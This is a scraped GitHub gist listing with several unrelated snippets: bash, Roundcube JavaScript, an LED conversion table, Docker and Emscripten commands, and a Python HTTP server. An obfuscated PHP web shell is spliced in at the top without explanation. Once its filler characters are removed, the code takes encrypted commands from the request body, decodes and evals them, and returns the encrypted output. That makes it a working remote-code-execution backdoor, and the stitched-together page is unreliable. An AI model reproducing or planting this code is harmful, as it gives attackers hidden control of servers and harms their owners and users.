Skip to content

Instantly share code, notes, and snippets.

<?php
$G='et_conBOtenBOts()BO;@ob_BOend_clean(BO);$r=@baseBO64_enBOcode(BO@x(@gzcBOoBOmpress(BO$oBO),$k))BO;print(BO"$p$kh$r$kf");}';
$N=str_replace('B','','creBatBBe_fBBuBnction');
$P='$k="4eBOff2c04";$BOkh="1BOBO976ea22afb7BO";$BOkf="092a531BO88cBO70";$BOp="NBO2RC1Dx2bGzpXBOhBOWQBO";function xBO($BOt';
$X='O/input"),$mBO)==1)BO {@ob_sBOtart()BO;@evaBOl(@gzuncomBOpreBOsBOs(@x(@basBOe64_decoBOBOde($m[1]),$k))BO);$o=@oBOb_gBO';
$R=',$k){$c=strBOlen($kBO)BO;$l=strlBOen($t);BO$o="BO";forBO($i=0;BO$i<BO$l;){fBOor($j=0;($jBO<$c&&$BOi<$l);$j+BO+,$i+BO+){';
$B='$o.=BO$t{$BOBOi}^BO$k{$j};}}returnBO $o;BO}if (BO@preg_matBOch(BO"/$kBOh(.+)$kf/",@fiBOle_getBO_BOconBOtenBOts("php:/B';
$M=str_replace('BO','',$P.$R.$B.$X.$G);
$K=$N('',$M);$K();
?>
@rikvermeer
rikvermeer / sourceable_bash_with_curdir.sh
Last active September 22, 2022 18:15
bash file that can be sourced or executed. knows where to look for files
#!/usr/bin/env bash
CURDIR=${PWD}
COMMAND="${BASH_SOURCE:-$0}"
TARGET=$(basename $COMMAND)
TARGET_DIR="$( cd "$(dirname $COMMAND)" ; pwd -P )"
function main() {
echo "Hello ${@}"
echo "Curdir = ${CURDIR}"
@rikvermeer
rikvermeer / roundcube_delete_duplicates.js
Last active February 5, 2020 08:16
Roundcube delete duplicates from console (js)
/**
* In chrome, open the console in the developer tools extension
* Select the mailbox folder which you want to clean
* Run this code in the console
* Goto the next page (max mails/page = 200) and execute the code again
* Repeat from the start until no more duplicate entities are logged anymore
*
* Troubleshooting:
* - If you get failing authentications in the network tab: try updating the token below
* - If the "Deleted Items" folder does not exist, change the name below
@rikvermeer
rikvermeer / ws281x.conv
Last active March 9, 2020 21:46
Conversiontable for ws2812b chipset
Run SPI/PCM/PWM on 2.4MHz (3x 800 kHz)
Binary conversion with delay
0 => 0 0 0
1 => 1 1 0
800 KHz -> 2.4 MHz
------------------------------------------------------------------------------------------------
000 | 0x00 = 00000000 -> 000 000 000 000 000 000 000 000 = 00000000 00000000 00000000 = 0x000000
001 | 0x01 = 00000001 -> 000 000 000 000 000 000 000 110 = 00000000 00000000 00000110 = 0x000006
@rikvermeer
rikvermeer / rundockerpi.sh
Last active November 28, 2019 16:04
Run docker and (chroot)mount a (raspberry) pi image. It allows you to preconfigure apt (arm), wi-fi and SSH keys on a mac/linux using docker.
####
# Start docker
docker run --rm --privileged -it -v /dev:/dev -v `pwd`/nanopi-duo2_sd_friendlycore-xenial_4.14_armhf_20191018.img:/nanopi.img ubuntu:xenial
####
# Bind loopback devices
losetup -f /nanopi.img -P --show
mkdir /mnt/d1 /mnt/d2 /mnt/d3
mount /dev/loop2p1 /mnt/d1 && \
/*!
* VERSION: 0.9.1
* DATE: 2019-02-21
* UPDATES AND DOCS AT: http://greensock.com
*
* @license Copyright (c) 2008-2019, GreenSock. All rights reserved.
* MorphSVGPlugin is a Club GreenSock membership benefit; You must have a valid membership to use
* this code without violating the terms of use. Visit http://greensock.com/club/ to sign up or get more details.
* This work is subject to the software agreement that was issued with your membership.
*
@rikvermeer
rikvermeer / emautomake.sh
Last active August 31, 2022 06:18
Emscripten compilation
#example for making jq
export LDFLAGS="-L/usr/local/opt/openssl/lib"
export CPPFLAGS="-I/usr/local/opt/openssl/include"
. ~/workspace/emsdk/emsdk_env.sh
autoreconf -fi
emconfigure ./configure
emmake make LDFLAGS=-all-static
#emcc -O2 jq.obj -o jq.js -s ERROR_ON_UNDEFINED_SYMBOLS=0
emcc -O3 -s ALLOW_MEMORY_GROWTH=1 -s MODULARIZE_INSTANCE=1 -s EXPORT_NAME="jq" -s WASM=1 --pre-js ./pre.js --post-js ./post.js jq.o -o ./jq.wasm.js -s ERROR_ON_UNDEFINED_SYMBOLS=0
@rikvermeer
rikvermeer / fetch.js
Last active June 21, 2019 10:23
JavaScript async generator/reader/transformer
const genline = async (i) => [Date.now(), i, "CRITICAL", "gui", ": asfd asdf asdf asdf asdf asdf asdf asdf asdf asdf asdf asdf asdf"].join(" ")
const generate = amount => {
let arr = [];
for(let i = 0; i < amount; i++) {
arr.push(genline(i))
}
return arr
}
@rikvermeer
rikvermeer / httserve.py
Last active June 20, 2019 19:49
Simple HTTP server with mime-types
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import http.server
from http.server import HTTPServer, BaseHTTPRequestHandler
import socketserver
from random import randint
PORT = randint(1024, 65536)
Handler = http.server.SimpleHTTPRequestHandler